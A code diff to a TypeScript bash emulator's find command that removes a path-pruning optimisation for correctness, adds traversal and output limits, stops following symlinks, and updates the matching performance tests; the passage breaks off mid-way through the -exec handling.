diff --git a/packages/just-bash/src/commands/find/find.perf.test.ts b/packages/just-bash/src/commands/find/find.perf.test.ts
index 4bc6cc8d..5d9bd030 100644
--- a/packages/just-bash/src/commands/find/find.perf.test.ts
+++ b/packages/just-bash/src/commands/find/find.perf.test.ts
@@ -147,8 +147,7 @@ describe("find performance tracing", () => {
     console.log(`  Eval calls: ${details.evalCalls}`);
   });
 
-  it("should prune terminal directories (deep nesting)", async () => {
-    // Create a structure where terminal directory pruning makes a big difference
+  it("should conservatively traverse path patterns with deep nesting", async () => {
     const files: Record<string, string> = {};
 
     // Create 10 "pulls" directories, each with files and deep subdirs
@@ -199,14 +198,13 @@ describe("find performance tracing", () => {
       `With pruning: ${summary2?.details?.readdirCalls} readdir calls, ${summary2?.details?.nodeCount} nodes`,
     );
 
-    // The optimized version should visit fewer nodes
-    expect((summary2?.details?.nodeCount as number) || 0).toBeLessThan(
-      (summary1?.details?.nodeCount as number) || Infinity,
-    );
+    // A shell path pattern's '*' can match slashes. Skipping descendants here
+    // would change results, so both predicates must traverse the full tree.
+    expect(summary2?.details?.nodeCount).toBe(summary1?.details?.nodeCount);
 
-    // Should find only the direct files in pulls (10 projects * 5 files = 50)
+    // Direct and nested JSON files all match */pulls/*.json.
     const lines = result.stdout.trim().split("\n").filter(Boolean);
-    expect(lines).toHaveLength(50);
+    expect(lines).toHaveLength(450);
     expect(result.exitCode).toBe(0);
   });
 
@@ -246,12 +244,8 @@ describe("find performance tracing", () => {
       `Nodes processed: ${summary?.details?.nodeCount}, Eval calls: ${summary?.details?.evalCalls}`,
     );
 
-    // With extension filtering, we should process fewer nodes
-    // (the non-.json files should be filtered before evaluation)
-    // 5 projects + 5 pulls dirs + 10 json files = 20 nodes (not 25 with all files)
-    expect((summary?.details?.nodeCount as number) || 0).toBeLessThanOrEqual(
-      25,
-    );
+    // Conservative traversal evaluates non-matching siblings as well.
+    expect(summary?.details?.nodeCount).toBe(36);
   });
 
   it("should trace against real filesystem (current project)", async () => {
@@ -577,7 +571,7 @@ describe("find node visitation verification", () => {
     return events.find((e) => e.category === "find" && e.name === "summary");
   }
 
-  it("should visit minimal nodes for -path '*/pulls/*.json' -type f", async () => {
+  it("should visit all potentially matching nodes for -path '*/pulls/*.json' -type f", async () => {
     const files = createLargeFilesystem();
     const events: TraceEvent[] = [];
     const env = new Bash({
@@ -588,12 +582,13 @@ describe("find node visitation verification", () => {
     const result = await env.exec('find /data -path "*/pulls/*.json" -type f');
     expect(result.exitCode).toBe(0);
 
-    // Expected: 5 orgs × 10 repos × 5 direct PRs = 250 files
+    // '*' matches slashes, so archived descendants also match.
     const lines = result.stdout.trim().split("\n").filter(Boolean);
-    expect(lines).toHaveLength(250);
+    expect(lines).toHaveLength(400);
 
-    // All results should be direct children of pulls/, not in archive/
-    expect(lines.every((l) => l.match(/\/pulls\/\d+\.json$/))).toBe(true);
+    expect(
+      lines.every((l) => l.includes("/pulls/") && l.endsWith(".json")),
+    ).toBe(true);
 
     const summary = getTraceSummary(events);
     expect(summary).toBeDefined();
@@ -609,8 +604,7 @@ describe("find node visitation verification", () => {
     // (only .json files in pulls in our setup)
     const nodeCount = summary?.details?.nodeCount as number;
 
-    // Verify pruning is working: should be less than full tree
-    expect(nodeCount).toBeLessThan(1000);
+    expect(nodeCount).toBeGreaterThan(1000);
 
     // Without terminal pruning, we'd visit everything (~1156 nodes with implicit dirs)
     console.log(
@@ -718,8 +712,8 @@ describe("find node visitation verification", () => {
     // First query finds ALL .json files: pulls(250+150) + issues(150) + package.json(50) = 600
     expect(lines1).toHaveLength(600);
 
-    // Second query finds only direct children of pulls (terminal pruning)
-    expect(lines2).toHaveLength(250);
+    // Path matching includes archived descendants because '*' matches '/'.
+    expect(lines2).toHaveLength(400);
 
     const summary1 = getTraceSummary(events1);
     const summary2 = getTraceSummary(events2);
@@ -735,8 +729,7 @@ describe("find node visitation verification", () => {
       `-path pattern (terminal pruning): ${nodeCount2} nodes, ${lines2.length} results`,
     );
 
-    // Pruned version should visit fewer nodes (skips archive/2024 dirs and their files)
-    expect(nodeCount2).toBeLessThan(nodeCount1);
+    expect(nodeCount2).toBe(nodeCount1);
   });
 
   it("should verify readdir call counts with -maxdepth", async () => {
@@ -771,7 +764,7 @@ describe("find node visitation verification", () => {
     console.log(`\n-maxdepth 2: ${readdirCalls} readdir calls`);
   });
 
-  it("should verify extension filtering reduces eval calls", async () => {
+  it("should conservatively evaluate extension path filters", async () => {
     // Create structure with many non-matching extensions
     const files: Record<string, string> = {};
     for (let i = 1; i <= 10; i++) {
@@ -806,9 +799,7 @@ describe("find node visitation verification", () => {
     const evalCalls = summary?.details?.evalCalls as number;
     const nodeCount = summary?.details?.nodeCount as number;
 
-    // Expected: /data(1) + repo1-10(10) + pulls dirs(10) + json files(20) = 41 nodes
-    // NOT 41 + 50 non-json files = 91
-    expect(nodeCount).toBeLessThanOrEqual(45);
+    expect(nodeCount).toBe(91);
 
     console.log(
       `\nExtension filtering: ${nodeCount} nodes, ${evalCalls} eval calls`,
@@ -820,8 +811,8 @@ describe("find node visitation verification", () => {
     const files: Record<string, string> = {};
     files["/data/pulls/1.json"] = "{}";
     files["/data/pulls/2.json"] = "{}";
-    files["/data/pulls/pulls/nested.json"] = "{}"; // Should NOT match */pulls/*.json
-    files["/data/pulls/other/deep.json"] = "{}"; // Should NOT match
+    files["/data/pulls/pulls/nested.json"] = "{}";
+    files["/data/pulls/other/deep.json"] = "{}";
 
     const events: TraceEvent[] = [];
     const env = new Bash({
@@ -833,9 +824,13 @@ describe("find node visitation verification", () => {
     expect(result.exitCode).toBe(0);
 
     const lines = result.stdout.trim().split("\n").filter(Boolean);
-    // Should only find direct children: /data/pulls/1.json and /data/pulls/2.json
-    expect(lines).toHaveLength(2);
-    expect(lines.sort()).toEqual(["/data/pulls/1.json", "/data/pulls/2.json"]);
+    expect(lines).toHaveLength(4);
+    expect(lines.sort()).toEqual([
+      "/data/pulls/1.json",
+      "/data/pulls/2.json",
+      "/data/pulls/other/deep.json",
+      "/data/pulls/pulls/nested.json",
+    ]);
   });
 
   it("should handle -mindepth and -maxdepth combination", async () => {
diff --git a/packages/just-bash/src/commands/find/find.ts b/packages/just-bash/src/commands/find/find.ts
index bfefd234..e2f37ff4 100644
--- a/packages/just-bash/src/commands/find/find.ts
+++ b/packages/just-bash/src/commands/find/find.ts
@@ -1,9 +1,14 @@
+import { utf8ByteLength } from "../../encoding.js";
+import { ExecutionOutputAccumulator } from "../../execution-output.js";
+import type { ExecutionScope } from "../../execution-scope.js";
 import type { DirentEntry } from "../../fs/interface.js";
+import { FileTraversalBudget } from "../../fs/traversal.js";
 import { shellJoinArgs } from "../../helpers/shell-quote.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
 import type {
-  Command,
-  CommandContext,
   ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
   TraceCallback,
 } from "../../types.js";
 import { formatMode } from "../format-mode.js";
@@ -84,11 +89,15 @@ import {
   expressionHasPrune,
   expressionNeedsEmptyCheck,
   expressionNeedsStatMetadata,
-  extractPathPruningHints,
   isSimpleExpression,
 } from "./matcher.js";
 import { parseExpressions } from "./parser.js";
-import type { EvalContext, EvalResult } from "./types.js";
+import type {
+  EvalContext,
+  EvalResult,
+  Expression,
+  FindAction,
+} from "./types.js";
 
 const findHelp = {
   name: "find",
@@ -126,26 +135,12 @@ const findHelp = {
   ],
 };
 
-// Predicates that take arguments
-const PREDICATES_WITH_ARGS_SET = new Set([
-  "-name",
-  "-iname",
-  "-path",
-  "-ipath",
-  "-regex",
-  "-iregex",
-  "-type",
-  "-maxdepth",
-  "-mindepth",
-  "-mtime",
-  "-newer",
-  "-size",
-  "-perm",
-]);
-
-export const findCommand: Command = {
+export const findCommand: RuntimeCommand = {
   name: "find",
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(findHelp);
     }
@@ -155,54 +150,23 @@ export const findCommand: Command = {
     let minDepth: number | null = null;
     let depthFirst = false;
 
-    // Find all path arguments and parse -maxdepth/-mindepth/-depth
-    // Paths come before any predicates (arguments starting with -)
-    let expressionsStarted = false;
+    // Starting points must precede the expression. Separating them first keeps
+    // predicate operands and -exec command arguments from being mistaken for paths.
+    let expressionStart = args.length;
     for (let i = 0; i < args.length; i++) {
       const arg = args[i];
-      if (arg === "-maxdepth" && i + 1 < args.length) {
-        expressionsStarted = true;
-        maxDepth = parseInt(args[++i], 10);
-      } else if (arg === "-mindepth" && i + 1 < args.length) {
-        expressionsStarted = true;
-        minDepth = parseInt(args[++i], 10);
-      } else if (arg === "-depth") {
-        expressionsStarted = true;
-        depthFirst = true;
-      } else if (arg === "-exec") {
-        expressionsStarted = true;
-        // Skip -exec and all arguments until terminator (; or +)
-        i++;
-        while (i < args.length && args[i] !== ";" && args[i] !== "+") {
-          i++;
-        }
-        // i now points to the terminator, loop will increment past it
-      } else if (
-        !arg.startsWith("-") &&
-        arg !== ";" &&
-        arg !== "+" &&
-        arg !== "(" &&
-        arg !== ")" &&
-        arg !== "\\(" &&
-        arg !== "\\)" &&
-        arg !== "!"
-      ) {
-        // This is a path if we haven't started expressions yet
-        if (!expressionsStarted) {
-          searchPaths.push(arg);
-        }
-      } else if (PREDICATES_WITH_ARGS_SET.has(arg)) {
-        expressionsStarted = true;
-        // Skip value arguments for predicates that take arguments
-        i++;
-      } else if (
+      if (
         arg.startsWith("-") ||
         arg === "(" ||
         arg === "\\(" ||
+        arg === ")" ||
+        arg === "\\)" ||
         arg === "!"
       ) {
-        expressionsStarted = true;
+        expressionStart = i;
+        break;
       }
+      searchPaths.push(arg);
     }
 
     // Default to current directory if no paths specified
@@ -210,19 +174,51 @@ export const findCommand: Command = {
       searchPaths.push(".");
     }
 
-    // Parse expressions
-    const { expr, error, actions } = parseExpressions(args, 0);
+    // Validate traversal options before parsing or touching the filesystem.
+    for (let i = expressionStart; i < args.length; i++) {
+      const arg = args[i];
+      if (arg === "-exec") {
+        i++;
+        while (i < args.length && args[i] !== ";" && args[i] !== "+") i++;
+      } else if (arg === "-maxdepth" || arg === "-mindepth") {
+        const value = args[i + 1];
+        if (value === undefined || !/^\d+$/.test(value)) {
+          return {
+            stdout: "",
+            stderr:
+              value === undefined
+                ? `find: missing argument to \`${arg}'\n`
+                : `find: invalid argument \`${value}' to \`${arg}'\n`,
+            exitCode: 1,
+          };
+        }
+        const depth = Number(value);
+        if (!Number.isSafeInteger(depth)) {
+          return {
+            stdout: "",
+            stderr: `find: invalid argument \`${value}' to \`${arg}'\n`,
+            exitCode: 1,
+          };
+        }
+        if (arg === "-maxdepth") maxDepth = depth;
+        else minDepth = depth;
+        i++;
+      } else if (arg === "-depth") {
+        depthFirst = true;
+      }
+    }
+
+    // Parse the complete expression before any filesystem access or action.
+    const { expr, error } = parseExpressions(args, expressionStart);
 
     // Return error for unknown predicates
     if (error) {
       return { stdout: "", stderr: error, exitCode: 1 };
     }
 
-    // Check if there's an explicit -print in the expression
-    const hasExplicitPrint = actions.some((a) => a.type === "print");
-
-    // Determine if we should use default printing (when no actions at all)
-    const useDefaultPrint = actions.length === 0;
+    const expressionActions = collectActions(expr);
+    const hasAnyAction = expressionActions.length > 0;
+    if (expressionActions.some((a) => a.type === "delete")) depthFirst = true;
 
     // Result type for find entries
     interface FindResult {
@@ -236,12 +232,56 @@ export const findCommand: Command = {
       startingPoint: string;
     }
 
-    const results: string[] = [];
-    // Extended results for -printf (stores metadata for each result)
-    const hasPrintfAction = actions.some((a) => a.type === "printf");
-    const printfResults: FindResult[] = [];
-    let stderr = "";
+    interface EvaluatedEffect {
+      action: FindAction;
+      path: string;
+      printfData: FindResult;
+    }
+    const effects: EvaluatedEffect[] = [];
     let exitCode = 0;
+    const output = ctx.executionScope
+      ? new ExecutionOutputAccumulator(
+          ctx.executionScope as ExecutionScope,
+          "find",
+        )
+      : undefined;
+    const stdoutChunks: string[] = [];
+    const stderrChunks: string[] = [];
+    let fallbackOutputBytes = 0;
+    const traversalBudget = new FileTraversalBudget({
+      limits: ctx.limits,
+      signal: ctx.signal,
+      executionScope: ctx.executionScope,
+      site: "find",
+    });
+    const appendStdout = (value: string): void => {
+      if (output) output.append("stdout", value);
+      else {
+        const bytes = utf8ByteLength(value);
+        if (bytes > ctx.limits.maxOutputSize - fallbackOutputBytes) {
+          throw new ExecutionLimitError(
+            `find: output size limit exceeded (${ctx.limits.maxOutputSize} bytes)`,
+            "output_size",
+          );
+        }
+        if (value) stdoutChunks.push(value);
+        fallbackOutputBytes += bytes;
+      }
+    };
+    const appendStderr = (value: string): void => {
+      if (output) output.append("stderr", value);
+      else {
+        const bytes = utf8ByteLength(value);
+        if (bytes > ctx.limits.maxOutputSize - fallbackOutputBytes) {
+          throw new ExecutionLimitError(
+            `find: output size limit exceeded (${ctx.limits.maxOutputSize} bytes)`,
+            "output_size",
+          );
+        }
+        if (value) stderrChunks.push(value);
+        fallbackOutputBytes += bytes;
+      }
+    };
 
     // Collect and resolve -newer reference file mtimes
     const newerRefPaths = collectNewerRefs(expr);
@@ -260,7 +300,7 @@ export const findCommand: Command = {
     // Check if printf format needs stat metadata
     // Simple directives: %f %h %p %P %d %% don't need stat
     // Stat-dependent: %s %m %M %t %T need stat
-    const printfNeedsStat = actions.some((a) => {
+    const printfNeedsStat = expressionActions.some((a) => {
       if (a.type !== "printf") return false;
       // Check for stat-dependent directives: %s %m %M %t %T
       // But skip escaped %% and handle width/precision modifiers like %10s or %-5.2s
@@ -275,9 +315,6 @@ export const findCommand: Command = {
     // Check if expression uses -empty (needs to read directories to count entries)
     const needsEmptyCheck = expressionNeedsEmptyCheck(expr);
 
-    // Extract path pattern pruning hints (for patterns like "*/pulls/*.json")
-    const pathPruningHints = extractPathPruningHints(expr);
-
     // Check if expression has -prune (for early prune optimization)
     const hasPruneExpr = expressionHasPrune(expr);
 
@@ -301,7 +338,7 @@ export const findCommand: Command = {
       try {
         await ctx.fs.stat(basePath);
       } catch {
-        stderr += `find: ${searchPath}: No such file or directory\n`;
+        appendStderr(`find: ${searchPath}: No such file or directory\n`);
         exitCode = 1;
         continue;
       }
@@ -337,10 +374,11 @@ export const findCommand: Command = {
         item: WorkItem,
       ): Promise<ProcessedNode | null> {
         const { path: currentPath, depth, typeInfo } = item;
+        traversalBudget.visit(depth);
         traceCounters.nodeCount++;
 
-        // Check maxdepth (default safety limit of 256 if not specified)
-        if (depth > (maxDepth ?? 256)) {
+        // The shared traversal limit remains in force even without -maxdepth.
+        if (depth > (maxDepth ?? ctx.limits.maxTraversalDepth)) {
           return null;
         }
 
@@ -355,7 +393,9 @@ export const findCommand: Command = {
         } else {
           try {
             const statStart = Date.now();
-            stat = await ctx.fs.stat(currentPath);
+            // find defaults to the POSIX -P policy: inspect symlinks, never
+            // follow them while deciding whether to descend.
+            stat = await ctx.fs.lstat(currentPath);
             traceCounters.statCalls++;
             traceCounters.statTime += Date.now() - statStart;
           } catch {
@@ -382,7 +422,7 @@ export const findCommand: Command = {
               : searchPath + currentPath.slice(basePath.length);
 
         // Get children for directories
-        let children: WorkItem[] = [];
+        const children: WorkItem[] = [];
         let entriesWithTypes: DirentEntry[] | null = null;
         let entries: string[] | null = null;
 
@@ -404,52 +444,28 @@ export const findCommand: Command = {
 
         // Optimization: skip reading directory contents if we're at maxdepth
         // Exception: if -empty is used, we need to read to check if directory is empty
-        const atMaxDepth = depth >= (maxDepth ?? 256);
-        // Path pattern pruning: for patterns like "*/pulls/*.json", don't descend into "pulls" subdirs
-        // But we still need to read the directory to check its direct children (files)
-        const inTerminalDir =
-          pathPruningHints.terminalDirName !== null &&
-          name === pathPruningHints.terminalDirName;
-        const shouldDescendIntoSubdirs =
-          !atMaxDepth && !inTerminalDir && !earlyPruned;
+        const atMaxDepth = depth >= (maxDepth ?? ctx.limits.maxTraversalDepth);
+        const shouldDescendIntoSubdirs = !atMaxDepth && !earlyPruned;
         const shouldReadDir =
-          (shouldDescendIntoSubdirs || needsEmptyCheck || inTerminalDir) &&
-          !earlyPruned;
+          (shouldDescendIntoSubdirs || needsEmptyCheck) && !earlyPruned;
 
         if (isDirectory && shouldReadDir) {
           const readdirStart = Date.now();
           if (hasReaddirWithFileTypes && ctx.fs.readdirWithFileTypes) {
             entriesWithTypes = await ctx.fs.readdirWithFileTypes(currentPath);
-            entries = entriesWithTypes.map((e) => e.name);
+            traversalBudget.checkpoint();
+            traversalBudget.discover(entriesWithTypes.length);
+            entries = [];
+            for (const entry of entriesWithTypes) entries.push(entry.name);
             traceCounters.readdirCalls++;
             traceCounters.readdirTime += Date.now() - readdirStart;
             // Create children work items
             // In terminal directory (e.g., "pulls" for pattern "*/pulls/*.json"),
             // only process files, not subdirectories
             if (shouldDescendIntoSubdirs) {
-              children = entriesWithTypes.map((entry, idx) => ({
-                path:
-                  currentPath === "/"
-                    ? `/${entry.name}`
-                    : `${currentPath}/${entry.name}`,
-                depth: depth + 1,
-                typeInfo: {
-                  isFile: entry.isFile,
-                  isDirectory: entry.isDirectory,
-                },
-                resultIndex: idx,
-              }));
-            } else if (inTerminalDir) {
-              // Only include files (not subdirectories) as children
-              // Also filter by extension if we have that hint
-              const extFilter = pathPruningHints.requiredExtension;
-              children = entriesWithTypes
-                .filter(
-                  (entry) =>
-                    entry.isFile &&
-                    (!extFilter || entry.name.endsWith(extFilter)),
-                )
-                .map((entry, idx) => ({
+              for (let idx = 0; idx < entriesWithTypes.length; idx++) {
+                const entry = entriesWithTypes[idx];
+                children.push({
                   path:
                     currentPath === "/"
                       ? `/${entry.name}`
@@ -460,24 +476,29 @@ export const findCommand: Command = {
                     isDirectory: entry.isDirectory,
                   },
                   resultIndex: idx,
-                }));
+                });
+              }
             }
           } else {
             entries = await ctx.fs.readdir(currentPath);
+            traversalBudget.checkpoint();
+            traversalBudget.discover(entries.length);
             traceCounters.readdirCalls++;
             traceCounters.readdirTime += Date.now() - readdirStart;
             // Create children work items
             if (shouldDescendIntoSubdirs) {
-              children = entries.map((entry, idx) => ({
-                path:
-                  currentPath === "/" ? `/${entry}` : `${currentPath}/${entry}`,
-                depth: depth + 1,
-                resultIndex: idx,
-              }));
+              for (let idx = 0; idx < entries.length; idx++) {
+                const entry = entries[idx];
+                children.push({
+                  path:
+                    currentPath === "/"
+                      ? `/${entry}`
+                      : `${currentPath}/${entry}`,
+                  depth: depth + 1,
+                  resultIndex: idx,
+                });
+              }
             }
-            // Note: when inTerminalDir and no readdirWithFileTypes,
-            // we can't filter by type, so we process all children
-            // (they'll be filtered during evaluation anyway)
           }
         }
 
@@ -521,16 +542,16 @@ export const findCommand: Command = {
         };
       }
 
-      // Check if node matches and should be printed
-      function shouldPrintNode(node: ProcessedNode): {
-        print: boolean;
-        printfData: FindResult | null;
-      } {
+      // Evaluate once in traversal order and retain only actions whose branch was
+      // actually reached. Side effects themselves run after traversal is complete.
+      function evaluateNode(node: ProcessedNode): EvaluatedEffect[] {
         const atOrBeyondMinDepth = minDepth === null || node.depth >= minDepth;
-        let matches = atOrBeyondMinDepth;
-        let shouldPrint = false;
+        if (!atOrBeyondMinDepth) return [];
+
+        let matches = true;
+        let reachedActions: FindAction[] = [];
 
-        if (matches && expr !== null) {
+        if (expr !== null) {
           const evalStart = Date.now();
           let evalResult: EvalResult;
 
@@ -559,43 +580,47 @@ export const findCommand: Command = {
           }
 
           matches = evalResult.matches;
-          shouldPrint = hasExplicitPrint ? evalResult.printed : matches;
+          reachedActions = evalResult.actions ?? [];
           traceCounters.evalCalls++;
           traceCounters.evalTime += Date.now() - evalStart;
-        } else if (matches) {
-          shouldPrint = true;
         }
 
-        if (!shouldPrint) {
-          return { print: false, printfData: null };
+        if (!hasAnyAction && matches) {
+          reachedActions = [{ type: "print" }];
         }
-
-        const printfData = hasPrintfAction
-          ? {
-              path: node.relativePath,
-              name: node.name,
-              size: node.stat?.size ?? 0,
-              mtime: node.stat?.mtime?.getTime() ?? Date.now(),
-              mode: node.stat?.mode ?? 0o644,
-              isDirectory: node.isDirectory,
-              depth: node.depth,
-              startingPoint: searchPath,
-            }
-          : null;
-
-        return { print: true, printfData };
+        if (reachedActions.length === 0) return [];
+
+        const printfData: FindResult = {
+          path: node.relativePath,
+          name: node.name,
+          size: node.stat?.size ?? 0,
+          mtime: node.stat?.mtime?.getTime() ?? Date.now(),
+          mode: node.stat?.mode ?? 0o644,
+          isDirectory: node.isDirectory,
+          depth: node.depth,
+          startingPoint: searchPath,
+        };
+        traversalBudget.checkpoint(reachedActions.length);
+        const evaluated: EvaluatedEffect[] = [];
+        for (const action of reachedActions) {
+          evaluated.push({
+            action,
+            path: node.relativePath,
+            printfData,
+          });
+        }
+        return evaluated;
       }
 
       // Result collection for ordered results
       interface NodeResult {
-        paths: string[];
-        printfData: FindResult[];
+        effects: EvaluatedEffect[];
       }
 
       // Iterative depth-first traversal with parallel processing
       // Uses work array with slot-based result collection for ordering
       async function findIterative(): Promise<NodeResult> {
-        const finalResult: NodeResult = { paths: [], printfData: [] };
+        const finalResult: NodeResult = { effects: [] };
 
         // For depth-first (post-order), we use a different strategy:
         // 1. Discover all nodes level by level (BFS with parallel batches)
@@ -631,9 +656,15 @@ export const findCommand: Command = {
           const parentChildMap = new Map<number, number[]>(); // parentIdx -> [childIdx in order]
 
           // BFS to discover all nodes with parallel processing
-          while (workQueue.length > 0) {
+          let workCursor = 0;
+          while (workCursor < workQueue.length) {
             const batchStart = Date.now();
-            const batch = workQueue.splice(0, FIND_BATCH_SIZE);
+            const batchEnd = Math.min(
+              workQueue.length,
+              workCursor + FIND_BATCH_SIZE,
+            );
+            const batch = workQueue.slice(workCursor, batchEnd);
+            workCursor = batchEnd;
             const nodes = await Promise.all(
               batch.map((q) => processNode(q.item)),
             );
@@ -679,37 +710,30 @@ export const findCommand: Command = {
             }
           }
 
-          // Phase 2: Build result in post-order using recursive collection
-          // This ensures children come before parent in the correct sibling order
-          function collectPostOrder(index: number): NodeResult {
-            const result: NodeResult = { paths: [], printfData: [] };
-            const entry = discovered[index];
-            if (!entry) return result;
-
-            // First, collect all children's results (in order)
-            for (const childIndex of entry.childIndices) {
-              const childResult = collectPostOrder(childIndex);
-              result.paths.push(...childResult.paths);
-              result.printfData.push(...childResult.printfData);
-            }
-
-            // Then, add this node's result
-            const { print, printfData } = shouldPrintNode(entry.node);
-            if (print) {
-              result.paths.push(entry.node.relativePath);
-              if (printfData) {
-                result.printfData.push(printfData);
+          // Phase 2: Build post-order iteratively. Recursive reconstruction can
+          // overflow the host stack at traversal depths that are deliberately
+          // valid under a liberal normal profile.
+          if (discovered.length > 0) {
+            const stack: Array<{ index: number; visited: boolean }> = [
+              { index: 0, visited: false },
+            ];
+            while (stack.length > 0) {
+              traversalBudget.checkpoint();
+              const current = stack.pop();
+              if (!current) break;
+              const entry = discovered[current.index];
+              if (!entry) continue;
+              if (current.visited) {
+                for (const effect of evaluateNode(entry.node)) {
+                  finalResult.effects.push(effect);
+                }
+                continue;
+              }
+              stack.push({ index: current.index, visited: true });
+              for (let i = entry.childIndices.length - 1; i >= 0; i--) {
+                stack.push({ index: entry.childIndices[i], visited: false });
               }
             }
-
-            return result;
-          }
-
-          // Start from root (index 0)
-          if (discovered.length > 0) {
-            const rootResult = collectPostOrder(0);
-            finalResult.paths.push(...rootResult.paths);
-            finalResult.printfData.push(...rootResult.printfData);
           }
         } else {
           // Pre-order traversal using BFS with batched processing
@@ -720,10 +744,7 @@ export const findCommand: Command = {
             orderIndex: number;
           }
 
-          const nodeResults: Map<
-            number,
-            { path: string; printfData: FindResult | null }
-          > = new Map();
+          const nodeResults: Map<number, EvaluatedEffect[]> = new Map();
           let orderCounter = 0;
 
           // BFS queue with order tracking
@@ -737,10 +758,16 @@ export const findCommand: Command = {
           // Track child order indices for each parent
           const childOrders: Map<number, number[]> = new Map();
 
-          while (workQueue.length > 0) {
+          let workCursor = 0;
+          while (workCursor < workQueue.length) {
             // Process all items in the queue in parallel batches
             const batchStart = Date.now();
-            const batch = workQueue.splice(0, FIND_BATCH_SIZE);
+            const batchEnd = Math.min(
+              workQueue.length,
+              workCursor + FIND_BATCH_SIZE,
+            );
+            const batch = workQueue.slice(workCursor, batchEnd);
+            workCursor = batchEnd;
             const processed: Array<NodeWithOrder | null> = await Promise.all(
               batch.map(async ({ item, orderIndex }) => {
                 const node = await processNode(item);
@@ -754,14 +781,9 @@ export const findCommand: Command = {
               if (!result) continue;
               const { node, orderIndex } = result;
 
-              // Check if this node should be printed
-              const { print, printfData } = shouldPrintNode(node);
-              if (print) {
-                nodeResults.set(orderIndex, {
-                  path: node.relativePath,
-                  printfData,
-                });
-              }
+              const nodeEffects = evaluateNode(node);
+              if (nodeEffects.length > 0)
+                nodeResults.set(orderIndex, nodeEffects);
 
               // Add children to work queue with consecutive order indices
               if (node.children.length > 0) {
@@ -776,32 +798,32 @@ export const findCommand: Command = {
             }
           }
 
-          // Build result in pre-order by walking the tree structure
-          function collectPreOrder(orderIndex: number): void {
+          // Build result in pre-order with an explicit stack.
+          const collectionStack = [0];
+          while (collectionStack.length > 0) {
+            traversalBudget.checkpoint();
+            const orderIndex = collectionStack.pop();
+            if (orderIndex === undefined) break;
             const nodeResult = nodeResults.get(orderIndex);
             if (nodeResult) {
-              finalResult.paths.push(nodeResult.path);
-              if (nodeResult.printfData) {
-                finalResult.printfData.push(nodeResult.printfData);
+              for (const effect of nodeResult) {
+                finalResult.effects.push(effect);
               }
             }
             const children = childOrders.get(orderIndex);
             if (children) {
-              for (const childIndex of children) {
-                collectPreOrder(childIndex);
+              for (let i = children.length - 1; i >= 0; i--) {
+                collectionStack.push(children[i]);
               }
             }
           }
-
-          collectPreOrder(0);
         }
 
         return finalResult;
       }
 
       const searchResult = await findIterative();
-      results.push(...searchResult.paths);
-      printfResults.push(...searchResult.printfData);
+      for (const effect of searchResult.effects) effects.push(effect);
 
       // Emit trace summary for this search path
       if (ctx.trace) {
@@ -813,111 +835,111 @@ export const findCommand: Command = {
           durationMs: totalMs,
           details: {
             path: searchPath,
-            resultsFound: searchResult.paths.length,
+            resultsFound: searchResult.effects.length,
           },
         });
       }
     }
 
-    let stdout = "";
-
-    // Execute actions if any
-    if (actions.length > 0) {
-      for (const action of actions) {
-        switch (action.type) {
-          case "print":
-            // When -print is in the expression (hasExplicitPrint), results are already
-            // populated based on when -print was triggered during evaluation.
-            // Just output them here.
-            stdout += results.length > 0 ? `${results.join("\n")}\n` : "";
-            break;
-
-          case "print0":
-            stdout += results.length > 0 ? `${results.join("\0")}\0` : "";
-            break;
-
-          case "delete": {
-            // Delete files in reverse order (depth-first) to handle directories
-            const sortedForDelete = [...results].sort(
-              (a, b) => b.length - a.length,
-            );
-            for (const file of sortedForDelete) {
-              const fullPath = ctx.fs.resolvePath(ctx.cwd, file);
-              try {
-                await ctx.fs.rm(fullPath, { recursive: false });
-              } catch (e) {
-                const msg = e instanceof Error ? e.message : String(e);
-                stderr += `find: cannot delete '${file}': ${msg}\n`;
-                exitCode = 1;
-              }
-            }
-            break;
+    // Batch -exec nodes collect only paths for which that exact expression node
+    // was reached. All other effects retain entry and expression order.
+    const batchExecPaths = new Map<FindAction, string[]>();
+    for (const effect of effects) {
+      const { action, path: file } = effect;
+      switch (action.type) {
+        case "print":
+          appendStdout(`${file}\n`);
+          break;
+        case "print0":
+          appendStdout(`${file}\0`);
+          break;
+        case "printf":
+          appendStdout(formatFindPrintf(action.format, effect.printfData));
+          break;
+        case "delete": {
+          const fullPath = ctx.fs.resolvePath(ctx.cwd, file);
+          try {
+            await ctx.fs.rm(fullPath, { recursive: false });
+          } catch (e) {
+            const msg = e instanceof Error ? e.message : String(e);
+            appendStderr(`find: cannot delete '${file}': ${msg}\n`);
+            exitCode = 1;
           }
-
-          case "printf":
-            for (const r of printfResults) {
-              stdout += formatFindPrintf(action.format, r);
-            }
-            break;
-
-          case "exec":
-            if (!ctx.exec) {
-              return {
-                stdout: "",
-                stderr: "find: -exec not supported in this context\n",
-                exitCode: 1,
-              };
-            }
-            if (action.batchMode) {
-              // -exec ... + : execute command once with all files
-              const cmdWithFiles: string[] = [];
-              for (const part of action.command) {
-                if (part === "{}") {
-                  cmdWithFiles.push(...results);
-                } else {
-                  cmdWithFiles.push(part);
-                }
-              }
-              const result = await ctx.exec(shellJoinArgs([cmdWithFiles[0]]), {
-                cwd: ctx.cwd,
-                signal: ctx.signal,
-                args: cmdWithFiles.slice(1),
-              });
-              stdout += result.stdout;
-              stderr += result.stderr;
-              if (result.exitCode !== 0) {
-                exitCode = result.exitCode;
-              }
-            } else {
-              // -exec ... ; : execute command for each file
-              for (const file of results) {
-                const cmdWithFile = action.command.map((part) =>
-                  part === "{}" ? file : part,
-                );
-                const result = await ctx.exec(shellJoinArgs([cmdWithFile[0]]), {
-                  cwd: ctx.cwd,
-                  signal: ctx.signal,
-                  args: cmdWithFile.slice(1),
-                });
-                stdout += result.stdout;
-                stderr += result.stderr;
-                if (result.exitCode !== 0) {
-                  exitCode = result.exitCode;
-                }
-              }
-            }
+          break;
+        }
+        case "exec": {
+          if (!ctx.exec) {
+            return {
+              stdout: "",
+              stderr: "find: -exec not supported in this context\n",
+              exitCode: 1,
+            };
+          }
+          if (action.batchMode) {
+            const paths = batchExecPaths.get(action) ?? [];
+            paths.push(file);
+            batchExecPaths.set(action, paths);
             break;
+          }
+          const cmdWithFile = action.command.map((part) =>
+            part === "{}" ? file : part,
+          );
+          const result = await ctx.exec(shellJoinArgs([cmdWithFile[0]]), {
+            cwd: ctx.cwd,
+            signal: ctx.signal,
+            args: cmdWithFile.slice(1),
+          });
